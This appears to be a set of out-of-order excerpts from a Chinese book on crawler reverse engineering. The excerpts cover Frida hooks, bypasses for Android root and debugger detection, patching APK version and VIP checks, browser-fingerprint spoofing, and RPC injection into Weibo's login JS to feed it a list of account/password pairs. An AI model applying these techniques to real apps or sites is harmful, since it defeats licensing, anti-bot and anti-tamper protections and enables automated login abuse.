    {"text": "Unknown 6. 7 常见检测及绕过 本节内容对反调试手段进行了一些总结， 包括系统检测、 Hook 工具检测、 调试检测等。 6. 7. 1 双进程保护 Frida 越来越流行， 针对它的检测也越来越多了， 如特征串检测、 TracerPid 检测， 还有双进程保护。 双 进程保护是采用双进程的方式， 对父进程进行保护， 基于信号的发送和接收实现相互的保护， 防止被动态 注入。 也就是说在 App 启动后， 主进程已经被子进程保护 （附加） 了， 导致 Frida 无法 attach 到 App 的进 程上。 双进程保护主要功能是保护父进程， ptrace 所有线程， 防止被附加、 调试、 暂停。 遇到这种情况时， Frida 在附加时会挂掉， 报错找不到进程或者无法 spawn。 双进程保护的应对方式如下： （1） 找到 fork 位置， 修改代码， 让子进程 fork 失败。 （2） 让 Frida 脚本像 Xposed 一样持久化。 xcubebase 是一个用于驱动 Frida 脚本的 Xposed 插件， 可通过 Frida 脚本的持久化来绕过双进程保护。 Github 地址： https： / / Github. com/ svengong / xcubebase 6. 7. 2 权限检测 像美团众包、 某移动、 化妆品监管、 交管 12123、 某某银行等 App 都有 Root 检测， 如图 6-99 所示。 App 检测是否 Root， 一般都是通过检测系统属性、 安装的 APK 文件或者目录权限。 常见的检测方式如下： （1） 检测系统版本是否为开发版。 （2） 检测手机上是否安装了 Root 管理器。 （3） 检测手机上是否安装了需要 Root 的软件。 （4） 检测手机是否存在二进制 su 文件。 ·图 6-99 （5） 检测手机是否存在 busybox。 笔者应对 Root 检测的方法一般是使用开源工具或者插件， 比如 ANRC、 RootCloak 去隐藏 su， 或者分 析源码去 Hook 掉检测 su 的方法， 后边的章节中会有专门的案例来绕过 Root 检测。 2 48 . 第 6 章 Android 逆向 不过修改系统和软件都不是最终的解决办法， 大厂基本上都有针对 Xposed、 Frida 等 Hook 工具的检 测。 不过在特殊情况时， 可以使用未 Root 的设备， 用太极+Magisk 免 Root 或者使用 Frida 的免 Root 方式 FridaGadget 来做一些 Hook， 这样等于通用过 Root 检测了。 6. 7. 3 调试端口检测 以调试工具 IDA 为例， 若发现 23946 端口， 说明进程正在被 IDA 调试。 检测原理： 通过读取 / proc / net / tcp， 查找 IDA 远程调试所用的默认端口 23946。 解决方法： 修改调试工具的默认端口号。 6. 7. 4 进程名检测 通过遍历进程， 查找固定的进程名， 找到一些关键词， 则说明调试器或者模拟器在运行 （ 比如固定 的进程名 android_server、 gdb_server、 Frida-server、 Xposed 等）。 解决方法： 修改进程名称。 6. 7. 5 系统函数检测 Android 系统自带调试检测函数， 比如分析 Android 的调试检测函数 isDebuggerConnected（）， 返回是否 处于调试。 解决方法： 该检测是在 Java 层实现的， 可以删除检测部分的代码， 也可以通过 Hook 直接绕过。 6. 7. 6 执行时间检测 该方法是对某段代码的执行时间进行检测， 比如在 A 处获取初始时间， 运行一段后， 再在 B 处获取 当前时间， 然后通过 （B 时间-A 时间） 求时间差， 正常情况下， 程序执行的时间差会非常小， 如果这个 时间差比较大， 说明正在被单步调试。 解决方法： 通过 Hook 修改时间差值即可。"},
    {"text": "Unknown 4. Frida 常用方法 本节介绍一下 Frida 常用的 Hook 方法， 包括 Hook 一般函数、 重载函数、 构造函数、 native 函数， 打 印堆栈信息、 类方法名等。"},
    {"text": "先看一下 Frida 中的参数类型缩写表， 如表 6-21 所示。 表 6-21 Frida 中的参数类型缩写表 参 数 类 型 缩 写 byte B int I short S long J float F double D char C boolean Z 基本类型数组也可以使用缩写来进行表示， 格式是左中括号\" [ \" 加上\" 基本类型的缩写\" 。"},
    {"text": "var MyClass = Java.use( xx.xx.MainActivity ); MyClass .myMethod.implementation = function (arg) { var ret = this .myMethod(arg); . 2 17 爬虫逆向进阶实战 console .log( Done: + arg); return ret; } Hook 重载函数： 重载函数是指在同一个类内定义了多个相同的方法名， 但是每个方法的参数类型和参数的个数都不 同。"},
    {"text": "在调用方法重载的函数编译器会根据所填入的参数个数以及类型来匹配具体调用对应的函数。 如果调用的对象方法有其他重载方法时， 则需要通过 overload 指定具体参数类型， 不能用 implementation， 否则会报错 Error： xx（）： has more than one overload。"},
    {"text": "myClass.myMethod.overload(\"java.lang.String\").implementation = function (param1){ console.log(param1); } myClass.myMethod.overload(\"[ B\",\"[ B\").implementation = function (param1,param2) { const p1 = Java.use(\"java.lang.String\").$ new(param1); const p2 = Java.use(\"java.lang.String\").$ new(param2); } myClass. myMethod. overload ( \" android. context. Context \", \" boolean \"). implementation = function (param1, param2){ //do something } Hook 构造函数： 构造函数是一种特殊的方法， 主要用来在创建对象时初始化对象， 即为对象成员变量赋初始值， 常 与 new 运算符一起使用在创建对象的语句中。 const StringBuilder = Java.use( java.lang.StringBuilder ); StringBuilder .$ init.overload( java.lang.String ).implementation = function (arg) { var partial = \"\"; var result = this .$ init(arg); if (arg != = null ) { partial = arg.toString().slice(0,10); } console .log( new StringBuilder(\" + partial + \"); ); return result; }; StringBuilder .$ init.overload( [ B , int ).implementation = function (arg1,arg2,) { //do something } Hook 成员方法： 成员方法是指没有加 static 等类修饰符的方法， Hook 时需要对类实例化$ new（）。 Java.perform( function (){ var ba = Java.use(\"com.xx.xx.xx\").$ new(); 2 18 . 第 6 章 Android 逆向 if (ba != undefined ) { ba.mdthod .implementation = function (a1) { //do something } } } ) Hook 内部类： 内部类是指一个类定义在另一个类里面或者方法里面。 var inInnerClass = Java.use( ese.xposedtest.MainActivity $ inInnerClass ); // 类路径$内部类名 inInnerClass .methodInclass.implementation = function (arguments ){ var arg0 = arguments [0] ; var arg1 = arguments [1] ; send(\"params1:\"+ arg0 +\" params2:\" + arg1); return this .formInclass(1,\"Frida\"); } HookNative 函数： 通过 so 名和方法名查找方法位置， 创建 NativePointer 指针对象， 然后通过 Interceptor. attach（）拦截函 数。"},
    {"text": "function hookNativeFun (callback, funName, moduleName) { var time = 1000; var address = Module.findExportByName(moduleName, funName); if (address = = null ) { setTimeout (hookNativeFun , time, callback, funName, moduleName); } else { console .log(funName + \"hook result\") var nativePointer = new NativePointer(address); Interceptor.attach(nativePointer, callback); } } 从内存中主动调用 Java 方法： 运行中对象的成员的值可能会定时发生变化， 等到调用时， 新对象可能会无法使用， 可以从内存中 读取已经有的对象。"},
    {"text": "Java.perform( function (){ Java.choose (\"com.xx.xx.xx\", { onMatch:function (x) { ba.signInternal.implementation = function (a1,a2) { result = x.method(a1,a2); }, onComplete:function () { } }) } ) . 2 19 爬虫逆向进阶实战 获取所有已加载的类名： Java.perform(function (){ Java.enumerateLoadedClasses({ onMatch:function (className) { send(className);}, onComplete:function (){ send(\"done\"); } }); }); 获取方法名： function getMethodName () { var ret; Java.perform(function () { var Thread = Java.use(\"java.lang.Thread\") ret = Thread.currentThread().getStackTrace()[2].getMethodName(); }); return ret; } 打印堆栈信息： function showStacks () { Java.perform(function () { console .log(Java.use(\"android.util.Log\").getStackTraceString(Java.use(\"java. lang.Exception\").$ new())); }); } 打印类所有方法名： function enumMethods (targetClass) { var ret; Java.perform(function () { var hook = Java.use(targetClass); var ret = hook.class .getDeclaredMethods(); ret.forEach(function (s) { console .log(s); }) }) return ret; } 本小节列出了一些常用的方法， 在具体的 Hook 开发中可能使用的方法会更多， 但是该如何使用是有 技巧的， 比如可以先定义一个一般函数的 Hook， 然后根据 Frida 报错内容去修改， 比如修改参数类型、 参 数个数之类， Frida 的报错提示很智能。"},
    {"text": "Unknown 6. Youpk Youpk 是一款基于 ART 的主动调用的脱壳机， 主要针对 Dex 整体加固和各式各样的 Dex 抽取加固。 但是 Youpk 目前只支持 pixel 1 代手机， 而且需要刷入对应的系统。 Github 地址： https： / / Github. com/ Youlor/ Youpk Youpk 基本流程如下： （1） 从内存中 dump Dex。 （2） 构造完整调用链， 主动调用所有方法并 dump CodeItem。 . 2 47 爬虫逆向进阶实战 （3） 合并 Dex， CodeItem。 Youpk 脱壳步骤如下： 步骤一： 配置待脱壳的 App 包名， 生成 config 文件： adb shell \" echo cn. youlor. mydemo ＞＞ / data / local / tmp/ unpacker. config\" 。 步骤二： 启动 App， 每隔 10 秒将自动重新脱壳。 步骤三： pull 出 dump 文件， dump 文件路径为 / data / data / 包名 / unpacker。 Youpk 可以处理大部分的加固， 一些企业版的加固也可以处理。 大家遇到壳的时候先在网上查一查 方法， 查不到明确的解决方法就使用脱壳工具， 如果脱壳工具也处理不了， 就需要去调试分析了。 Youpk 需要准备一定的环境， 需要投入一些资源， 但是脱壳效果非常强大， 包括企业壳。 Unknown 1. Smali 字段 字段表示方法， 包名、 字段名和各字段类 Lpackage / name / ObjectName； ———＞FieldName： Ljava / lang / String； Unknown 1. 万方 Protobuf 请求案例 本节案例选择的是万方知识库的请求协议， 因为案例在 Web 端， 接口分析和 proto 文件编写都比较简单， 很适合大家自行尝试。 案例网址： https： / / s. wanfangdata. com. cn / paper？ q = lxlx 首先在控制台抓包， 找到看起来比较符合的接口： https： / / s. wanfangdata. com. cn/ SearchService. SearchService/ search？ 习惯性通过 Initiator 进入断点， 如图 3-104 所示。 在跳转行打上断点， 刷新页面， 如图 3-105 所示。 查看各部分参数， 如图 3-106 所示。 从控制台上打印一下这部分， 发现这个就是请求参数， 如图 3-107 所示。 9 6. 第 3 章 Web Js 逆向 ·图 3-104 ·图 3-105 ·图 3-106 ·图 3-107 . 9 7 爬虫逆向进阶实战 然后跟着断点往下查看， 如图 3-108 所示。 ·图 3-108 可以发现这里的 e 就是返回的数据， 如图 3-109 所示。 ·图 3-109 找到请求信息和返回信息后， 可以按照对应格式构建一个 Protobuf 文件。 通过断点， 已知原始的请求参数为： params = { searchtype :\"paper\", searchWord : lxlx , currentPage : 1 , pageSize : 20 , searchFilter :[0] , searchScope : 0 , searchSort : null } 那么要编写的 proto 文件内容为： syntax = \"proto3\"; message SearchService { message CommonRequest { string searchType = 1; string searchWord = 2; int32 currentPage = 3; 9 8. 第 3 章 Web Js 逆向 int32 pageSize = 4; SearchScope searchScope = 5; repeated SearchFilter searchFilter = 6; } message SearchRequest { CommonRequest commonrequest = 1; } } 然后用 protoc 编译成 PY 文件， 如图 3-110 所示。 ·图 3-110 命令： . \\ protoc. exe --Python_out =. . / s. proto。 编译后的文件为 s_pb2. PY。 import s_pb2 as pb search_request = pb. SearchService. SearchRequest ( ) search_request. commonrequest. searchType = \" paper\" search_request. commonrequest. searchWord = lxlx search_request. commonrequest. searchScope = 0 search_request. commonrequest. currentPage = 1 search_request. commonrequest. pageSize = 20 search_request. commonrequest. searchFilter. Append ( 0 ) bytes_body = search_request. SerializeToString ( ) print ( bytes_body ) 输出的内容和浏览器基本一致， 如图 3-111 所示。 下面用代码测试请求， 经过测试可以成功返回数据， 如图 3-112 所示。 ·图 3-111 ·图 3-112 关于如何解析返回的 Protobuf 数据， 逻辑是一样的， 按照上面 Js 拦截到的返回格式， 构建一个 proto 文件， 然后编译成 py 文件调用。 代码可以在 Github 的 lxSpider 仓库查看。 . 9 9 爬虫逆向进阶实战"},
    {"text": "Unknown 2. 简单示例 修改原 App 的代码文件并使用属于灰色技术， 不适合在书中详细讲解， 所以笔者简单描述一下即可。 比如某 APK 要求强制更新， 但是更新后的版本无法抓包了， 此时可以通过 MT 管理器修改 Android Manifest. xml 文件中的版本标识， 文件中 versionCode 是版本号， versionName 是版本名称， 把参数改成最 新的， 然后编译保存， 重新签名后再次安装。 如果还是要求更新， 那么说明版本号 “ 写死” 在 Dex 的某 个文件中， 此时可以通过 “Dex 编辑器++” 查找到关键词， 找到后修改为最新版本， 如图 6-35 所示。 . 1 97 爬虫逆向进阶实战 ·图 6-33 ·图 6-34 再比如某个 App 中有 VIP 权限校验， 需要通过校验才能正常使用。 此时通过 “Dex 编辑器++” 打开 Dex 文件， 搜索一些关于 VIP 的关键字， 比如 getVip、 isVip， 然后根据代码逻辑进行修改， 如图 6-36 所示。 ·图 6-35 ·图 6-36 1 98 . 第 6 章 Android 逆向 修改后的 APK 文件需要重新编译签名， 可以在提示中选择自动签名， 也可以在功能选项中进行 APK 签名， 签名后重新安装应用进行测试。 6. 2. 6 NP 管理器 NP 管理器是一款免 root 的手机多功能文件管理器， 功能和 MT 管理器类似， 都提供了 Android 逆向的 相关功能， 虽然兼容性不如 MT， 但是所有功能都是免费的， 足以支持大家做一些事情， 如图 6-37 所示。 首先可以单击 “ 关于” 查看使用说明和功能介绍。 作者声明 NP 管理器主要是对 APK、 Dex、 Jar、 Smali、 Pdf、 视频和音频文件的简单应用。 逆向时会使用到的主要功能如下： Dex、 Jar、 Smali 文件的相互转换； Dex 文件合并、 分割； APK、 Dex、 jar 混淆和字符串加密； APK 签名、 共存、 去除签名校验、 对话框取消、 去除 VPN/ 代理检测； APK 加固判断、 Dex 编辑 （批量删除类）； Dex 文件查看字符常量、 Dex 批量修复、 Dex 功能-属性查看； APK 对齐优化、 文本文件对比、 超强版去除签名校验； Smali 文件转 Java、 class 文件和 jar 包反编译； Smali 语法查询、 Smali 执行流程图查看、 Smali 方法 IR 查看； APK-Dex 字符串解密、 控制流-防字符串一键解密； 工具箱 （常见字符串转换， 如 base64、 des、 MD5 等）。 接着单击 “工具箱” 可以看到常见的加解密方法和转换方法， 如图 6-38 所示。 ·图 6-37 ·图 6-38 . 1 99 爬虫逆向进阶实战 接下来找一个 APK 测试一下其他的功能。 首先将 APK 文件放到移动设备的存储文件夹中， 然后打开 NP 管理器， 进入 APK 的存储文件夹中。 点击 APK 文件， 在弹出的选项中选择 “功能”， 即可看到对 APK 的所有功能。 主要功能如图 6-39 所示。 ·图 6-39 如果需要脱壳， 选择 “一键拆分 DEX”， 然后等待拆分完成， 会在同级目录下生成一个后缀为名为 split 的绿色的 APK 文件， 该文件就是脱壳后的 APK 包。 Unknown 3. JEB 动态调试 JEB 动态调试的前提是 Android 系统属性 ro. debuggable = 1 （模拟器一般是 1）， 并且要调试的 App 配 置文件 Manifest 中的 debuggable 是 true。 否则只能反编译修改配置文件重新打包 APK 并签名。 具体的调试方式如下： （1） 启动夜神模拟器， 提前安装好 APK。 （2） 在 JEB 中给 Smali 某行标记断点的快捷键是 Ctrl+B， 打上断点。 （3） 通过命令启动应用 （adb shell am start -D -n 包名 / 入口名）： adb shell am start -D -n com. xx. xxx / com. xx. MainActivity （4） 然后点击软件界面上的调试器， 开始后等待打开附加调试。 选择好设备和进程后， 单击 “附 上” 按钮即可进行调试， 如图 6-15 所示。 用 JEB 动态调试的误区有很多， 连接模拟器很容易 offline， 有时找不到进程， 可以重启解决问题。 1 88 . 第 6 章 Android 逆向 ·图 6-14 ·图 6-15 6. 2. 4 IDA Pro IDA Pro 是 目 前 最 优 秀 的 静 态 逆 向 工 具 之 一， IDA PRO 简 称 IDA （ Interactive Disassembler Professional）， 是一个世界范围内的顶级交互式反汇编专业工具， 如图 6-16 所示。 ·图 6-16 IDA Pro 支持多种处理器和操作系统的多种可执行格式， 允许开发人员以交互方式更改显示数据的元 素， 包括变量、 函数和数据结构等。 它可以构建代码流的图表， 以简化对反汇编代码的理解， 也能自动 . 1 89 爬虫逆向进阶实战 识别和汇编代码中的标准库函数。 这些特性使其成为开发人员普遍使用的工具。 尽管爬虫工程师日常工作中涉及汇编语言的场景不多， 也有很多的方法可以避免分析 so 文件。 但还 是希望大家能掌握反汇编工具的基本使用， 这在分析时很有帮助。 Unknown 3. Navigator Navigator 对象包含的属性描述了当前使用的浏览器， 可以使用这些属性进行平台专用的配置， 如 表 3-11所示。 表 3-11 Navigator userAgent 用 户 代 理 AppCodeName 浏览器代码名 AppName 浏览器名称 AppVersion 浏览器版本 browserLanguage 浏览器语言 cookieEnabled 指明是否启用 cookie 的布尔值 cpuClass 浏览器系统的 cpu 等级 . 3 5 爬虫逆向进阶实战 (续) userAgent 用 户 代 理 onLine 是否处于脱机模式 platform 浏览器的操作系统平台 plugins 插件， 所有嵌入式对象的引用 webdriver 是否启用驱动 product 引擎名 hardwareConcurrency 硬件支持并发数 connection 网络信息 javaEnabled() 是否启用 Java taintEnabled() 是否启用数据污点 Unknown 1. GUI 界面中的功能介绍 GUI 界面中的功能介绍如图 10-13 所示。"},
    {"text": "Unknown 1. 1 爬虫发展史 在大数据时代下， 传统的数据采集方法已经无法满足高质量研究的需求， 此时网络爬虫应运而生， 相对于传统采集， 网络爬虫通常能在有限的资源下保障数据的质量和数量。 目前爬虫技术逐渐成为一套 完整的系统性工程技术， 涉及的知识面广， 平台多， 技术越来越多样化， 对抗性也日益显著。 本节内容 将回顾一下近几年爬虫技术的发展路线， 介绍当今几种主流的爬虫技术和前沿的爬虫技术发展趋势和 方向。 首先从网页数据采集开始， 爬虫从最开始的单一化请求变成分布式采集， 导致了人机验证的出现， 比如滑 块、 图 文、 点 选 等 验 证 方 法， 为 了 做 相 应 的 对 抗， 出 现 了 很 多 自 动 化 工 具， 比 如 Selenium、 Puppeteer 等。 同时网站为了保证数据接口不被滥用， 出现了以 JS 为主的混淆加密和签名技术， 不过也可 以使用 Nodejs 或者 Chrome 来加载原生代码进行模拟。 随着爬虫的增多和爬虫与反爬虫之间的不断对抗， 导致很多大厂会把比较重要的数据只会在移动 端的 App 展示， 甚至部分厂家只有移动端。 因为 App 逆向技术本身具有一定的灰度和风险， 在市面上 并不被推广， 而且逆向技术在目前依旧有比较高的门槛。 以 Android 为例， 从之前的 Java 层混淆加密已 经下沉到了 C / C++的 Native 层， Native 中通常会存在混杂代码、 花指令、 Ollvm， 另外还有各种安全公 司做的壳。 为了在不改变应用本身的前提下获取 App 数据， 以 Xposed 和 Frida 为首的 Hook 工具的应用 日渐增长， 另外还有一些 App 自动化测试工具也开始被使用起来， 比如 Appnium、 Airtest， 还有无障碍 工具 Autojs 等。 除了 Web 端到移动端的数据载体变化外， 还有数据类型的增加， 比如从单一的文本数据变成了图片、 短视频等， 还有数据通信协议的变化， 从之前的 HTTP / HTTPS 变成了 SPDY、 Protobuf 以及一些私有协议。 各种各样的反爬虫方式导致了爬虫工程师所需的技术栈越来越广泛， 在后续的章节中， 作者会根据 自己的经验， 结合实战案例倾心讲解。 .1 爬虫逆向进阶实战"},
    {"text": "比如用 Node 直接去运行复制下来的 Js 代码， 可能会报未定义的错误或者找不到方法， 导致无法运行或者得到的 结果与浏览器不一致。 因为 Node 环境和浏览器具有一定的区别， 比如 window 对象区别、 this 指向区别、 Js 引擎区别， 以及一些 DOM 操作区别， 很多网站也会以此检测来判断是不是真实用户， 此时就需要对 Js 代码进行补充。 又比如对浏览器一些参数的设置， 网站设置了 window、 navigate 的某一个属性， 在模拟的时候没有进 行这些设置， 就会被检测到。"},
    {"text": "但是不同网站的检测标准和补充难度参差不齐， 先来看看哪些环境是经常被检测的。 3. 7. 1 常被检测的环境 在常被检测的环境中， 有 window、 location、 navigate、 document、 native、 canvas 等。"},
    {"text": "window 检测： · window 是否为方法 · window 对象是否 freeze · 各属性检测 location 检测： · hostname · protocol · host ·图 3-75 · hash · origin navigator 检测： · AppName · AppVersion . 7 5 爬虫逆向进阶实战 · cookieEnabled · language · userAgent · product · platform · plugins 浏览器插件 · javaEnabled（）方法 · taintEnabled（）方法 document 检测： · referrer · cookie · createElement（）方法 canvas 指纹： · 不同类型图片的 canvas 指纹应当不一样， 如 . jpg、 . png · 不同质量 quality 的 canvas 指纹应该不一样 · 不同属性的 canvas 指纹应该不一样 · 同一个条件的 canvas 多次绘制时应该保持一致 浏览器指纹信息： · window. screen 屏幕分辨率 / 宽高 · navigator. useragent · location. href/ host · navigator. platform 平台、 语言等信息 · canvas 2D 图像指纹 · navigator. plugin 浏览器插件信息 · webgl 3D 图像指纹 · 浏览器字体信息 · 本地存储的 cookie 信息 除了上面列出的之外， 还有对自动化痕迹的检测， 比如 chromedriver 属性检测。"},
    {"text": "var navigator = { plugins :{ 7 6. 第 3 章 Web Js 逆向 0:{ 0:{description :\"\",type :\"\"}, name :\"\", length :1, filename :\"\", description :\"\", length :1 } } }; navigator .plugins [Symbol .toStringTag ] = \"PluginArray\"; navigator .plugins [0] [Symbol .toStringTag ] = \"Plugin\"; 如果报错没有 getElementByTagName， 就到 document 中去定义一个， 但是参数和方法中具体实现， 以 及返回内容都需要根据调试结果来进行补充。 document = { getElementsByTagName:function (x){ return {} }, createElement:function (x){ return {} } } 如果报错没有 canvas， 那么可以用 createElement 去创建一个简单的元素节点， 通过此方法可返回一个 canvas 对象。 var document = { createElement:function createElement (x) { if (x= =\"canvas\"){ return { toDataURL:function toDataURL () { return \"data:image/png;base64,* * * * * * \"; } } } } } 在 Js 中万物皆对象。"},
    {"text": "方法 （function） 是对象， 方法的原型 （ function. prototype） 也是对象。 对象具 有属性 proto， 还有自己的原型属性 prototype， prototype 包含所有实例共享的属性和方法。 可以通过_proto_ 去构造一些属性和方法。"},
    {"text": "var _getXxx = { toString:function () { return \"\" } }; _getXxx ._proto_.getA = function getA (x) { return {} }; . 7 7 爬虫逆向进阶实战 _getXxx ._proto_.getB = function getB (x) { return [] }; document = { getXxx:function (x){ return _getXxx ; } }; console .log(document .getXxx.getA()) console .log(document .getXxx.getB()) 3. 7. 3 JSDOM 环境补充 JSDOM 对浏览器环境的还原非常到位， 它可以被当作无头浏览器使用。"},
    {"text": "通过 HTML 文本来创建一个 JSDOM 的实例， 然后就可以通过实例取得 window 对象和 document 对象。 JSDOM 生成的 window 对象下还实现了 history、 location、 postMessage、 setTimeout、 setInterval 等熟悉的 Api。 const { JSDOM } = require ( jsdom ); const NewjsDom = new JSDOM(` <! DOCTYPE html> <html> <body> <div> <p> 爬虫逆向开发实战</p> </div> </body> </html> `); const window = NewjsDom.window ; // window 对象 const document = window.document ; // document 对象 另外要提的一点是 Python 中的 execjs 库也可以切换成 jsdom 来执行含有 document、 window 等对象的 Js 代码。"},
    {"text": "代码示例： signature = execjs.compile(js, cwd = jsdom_path).call(\"sign\") JSDOM 能满足大部分测试场景下对浏览器环境的还原， 但在一些场景下也会被检测出来。"},
    {"text": "3. 7. 4 Selenium 环境模拟 笔者比较喜欢用的方法是使用 selenium 来驱动浏览器， 先把 Js 和参数都写到本地的 html 文件， 然后 用 selenium 打开 html 文件加载 Js， 生成加密参数。"},
    {"text": "具体方法如下： # -* - coding:utf- 8 -* - import os from selenium import webdriver ua = Mozilla/5.0 (Windows NT 10.0; Win64; x64) PRO_DIR = os.path.dirname(os.path.abspath(_file_)) s1 = \"\"\" <! DOCTYPE html> <html style=\"font-size:50px;\"> <head> <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"> <title>signature-hook</title> </head> <body></body> <script type=\"text/javascript\"> \"\"\" s2 = \"\"\" </script> </html> \"\"\" def driver_sig(html_file): option =webdriver.ChromeOptions() option.add_argument( headless ) option.add_argument( --no-sandbox ) option.add_argument( --user-agent={} .format(ua)) driver =webdriver.Chrome(chrome_options=option) driver.get( file:/// + PRO_DIR + html_file) sig = driver.title driver.quit() return sig sign_js = window.navigator = { userAgent: }; function get_sign() { ... //此处省略 N 行代码 return sign } var signature = get_sign(); document.clear(); document.write(signature); . 7 9 爬虫逆向进阶实战 if _name_ = = _main_ : doc = sign_js.replace(\"userAgent: \",\"userAgent: {} \".format(ua)) html_file = get_sign.html with open(html_file, w , encoding= utf-8 ) as fw: fw.write(s1 + doc + s2) sig = driver_sig(html_file) print(sig) 3. 7. 5 puppeteer 环境模拟 puppeteer 是 一 个 Node. js 的 库， 支 持 调 用 Chrome 的 Api 来 操 纵 Web， 相 比 较 Selenium 或 是 PhantomJs， 它最大的特点就是操作 DOM 可以完全在内存中进行模拟， 既在 V8 引擎中处理， 又不打开浏 览器， 而且这个是 Chrome 团队在维护， 会拥有更好的兼容性和发展前景。"},
    {"text": "下面是简单的调用代码： const puppeteer = require ( puppeteer ); (Async () => { const browser = await (puppeteer.launch({ executablePath : 需要指定 chromium 地址 , timeout :15000, ignoreHTTPSErrors :true , devtools :false , headless :false // headless 模式, 是否打开浏览器 })); const page = await browser.newPage(); await page.goto ( https://www.baidu.com ); browser.close(); })(); 手动补充环境相对耗时耗力， 如果采集频率要求不高时， 直接在浏览器中模拟环境调用即可， 在接 下来的小节中来学习一下对浏览器环境的监测。"},
    {"text": "在 Js 逆向时， 本地可以和浏览器以服务端和客户端的形式通过 webSocket 协议进行 RPC 通信， 这样 可以直接调用浏览器中的一些函数方法， 不必去在意函数具体的执行逻辑， 可以省去大量的逆向调试 时间。"},
    {"text": "网站链接： https： / / weibo. com 首先输入账号 11111111111， 密码 111 进行登录， 通过控制台进行抓包， 可以发现 POST 的登录接口： https： / / login. sina. com. cn/ sso / login. PHP？"},
    {"text": "先通过搜索定位一个加密参数的位置， 比如全局搜索关键词 rsakv， 只有一个 Js 文件中有该关键词， 点击进去并格式化代码， 继续搜索准确位置， 如图 3-77 所示。"},
    {"text": "8 2. 第 3 章 Web Js 逆向 ·图 3-76 ·图 3-77 ·图 3-78 . 8 3 爬虫逆向进阶实战 找到方法后， 直接在控制台输入 makeRequest 查看调用， 如图 3-79 所示。"},
    {"text": "首先需要修改 Js 文件， 鉴于方便操作和讲解， 笔者选择通过控制台的 Overriders 来进行 Js 文件替换。 当然 也可以选择通过 Fiddler、 Mitmproxy 等抓包工具替换， 或者通过谷歌的 GRPC 协议来进行 Js 内容替换。"},
    {"text": "·图 3-81 8 4. 第 3 章 Web Js 逆向 接下来就可以进行修改了， 将格式化后的代码复制到 save 的文件中， 然后按 Ctrl+s 快捷键进行保存 （注意微博的 inDex. js 文件， 它每隔一个小时会进行重命名， 所以需要重新进行覆盖）， 如图 3-82 所示。"},
    {"text": "注入的 Js 代码如下： ! function(){ if (window.flagLX){} else{ . 8 5 爬虫逆向进阶实战 window.weiboLx = makeRequest; var ws = new WebSocket(\"ws://127.0.0.1:9999\"); window.flagLX =true; ws.open =function(evt){}; ws.onmessage = function(evt){ var lx = evt.data; var result = lx.split(\",\"); var res = window.weiboLx(result[0],result[1],7,false); ws.send(JSON.stringify(res)); }} }(); 接下来用 Python 创建一个 webSocket 服务端。 import Asyncio import webSockets import time Async def check_permit(webSocket): # 账号列表 for send_text in [ 11111111111,111 , 11111111112,112 , 11111111113,113 , 11111111114,114 ]: await webSocket.send(send_text) return True Async def recv_msg(webSocket): while 1: recv_text = await webSocket.recv() print(recv_text) Async def main_logic(webSocket, path): await check_permit(webSocket) await recv_msg(webSocket) start_server = webSockets.serve(main_logic, 127.0.0.1 , 9999) Asyncio.get_event_loop().run_until_complete(start_server) Asyncio.get_event_loop().run_forever() 运行 Python 代码开启本地服务， 然后刷新网页， 填入账号密码单击 “登录” 按钮， 触发 Js 代码。"},
    {"text": "·图 3-85 返回的 data 示例如下： { \"entry\":\"weibo\", \"gateway\":1, \"from\":\"\", \"savestate\":7, \"qrcode_flag\":false, \"useticket\":1, \"pagerefer\":\"\", \"vsnf\":1, \"su\":\"MTExMTExMTExMTE = \", \"service\":\"miniblog\", \"servertime\":1627739302, \"nonce\":null,\"pwencode\":\"rsa2\", \"rsakv\":\"1330428213\", \"sp\":\"92b99ab4e2bde0...aaab75cecc\", \"sr\":\"1536* 864\" } 此时一个 RPC 调用案例已经结束， 学会 RPC 可以在某些时候快速解决问题， 毕竟不需要追代码逻辑 和补浏览器环境。"},
    {"text": "查看数据后可以发现， 该数据具有关键词 WebxxxxMessage， 直接 全局搜索 message。 可以发现在 common-utils-message. js 中有很多相关 词， 其实不确定位置的话， 就在每个有可能的地方都断点， 如图 3-87 所示。"},
    {"text": "首先需要修改和替换它的 Js 文件， . 8 7 爬虫逆向进阶实战 ·图 3-87 ·图 3-88 为了方便操作和讲解， 笔者选择通过控制台的 Overriders 进行 Js 文件替换。 当然也可以选择通过 Fiddler、 Mitmproxy 等抓包工具替换， 或者通过谷歌的开发 者工具远程调试协议进行 Js 内容替换。"},
    {"text": "·图 3-90 写上 Js 客户端代码： window .dataLx = r ; ! function (){ var res = window .dataLx ; if (window .flagLX ){ window .wsLX .send(JSON .stringify(res)); } else { var ws = new WebSocket (\"ws://127.0.0.1:9999\"); window .wsLX = ws; window .flagLX =true ; ws.open = function (evt){}; ws.onmessage = function (evt){ ws.send(JSON .stringify(res)); }} }(); Python 服务端代码： import Asyncio import webSockets Async def check_permit(webSocket): send_text = lx await webSocket.send(send_text) return True . 8 9 爬虫逆向进阶实战 Async def recv_msg(webSocket): while 1: recv_text = await webSocket.recv() print(recv_text) Async def main_logic(webSocket, path): await check_permit(webSocket) await recv_msg(webSocket) start_server = webSockets.serve(main_logic, 127.0.0.1 , 9999) Asyncio.get_event_loop().run_until_complete(start_server) Asyncio.get_event_loop().run_forever() 接下来启动本地服务端， 刷新浏览器页面， 开始接收直播数据了， 如图 3-91 所示。"},
    {"text": "首先还是对接口进行分析， 此处的 signature 和抖音 Web 的签名生成逻辑相符， 先对 Request 对象进行 一些处理， 添加_signature 参数， 然后返回给 Request 对象原本的 send 函数发送请求， 如图 3- 92 所示。"},
    {"text": "·图 3-96 iv = \"amlheW91LHFpYW53\" key = anN2bXA2NjYsamlh segment_size = 128 mode = AES. MODE_CFB 分析到这里已经完成， 接下来用 Python 去还原解密即可。"},
    {"text": "import base64 from Crypto.Cipher import AES # AES-128 def decrtptlx(String): iv =\"amlheW91LHFpYW53\".encode(encoding= utf-8 ) key = anN2bXA2NjYsamlh .encode(encoding= utf-8 ) 9 2. 第 3 章 Web Js 逆向 cryptor = AES.new(key=key, mode=AES.MODE_CFB, IV=iv, segment_size=128) decode = base64.b64decode(String) plain_text =cryptor.decrypt(decode) print(plain_text) return plain_text 本节内容的完整代码可到本书代码库中查看。"},
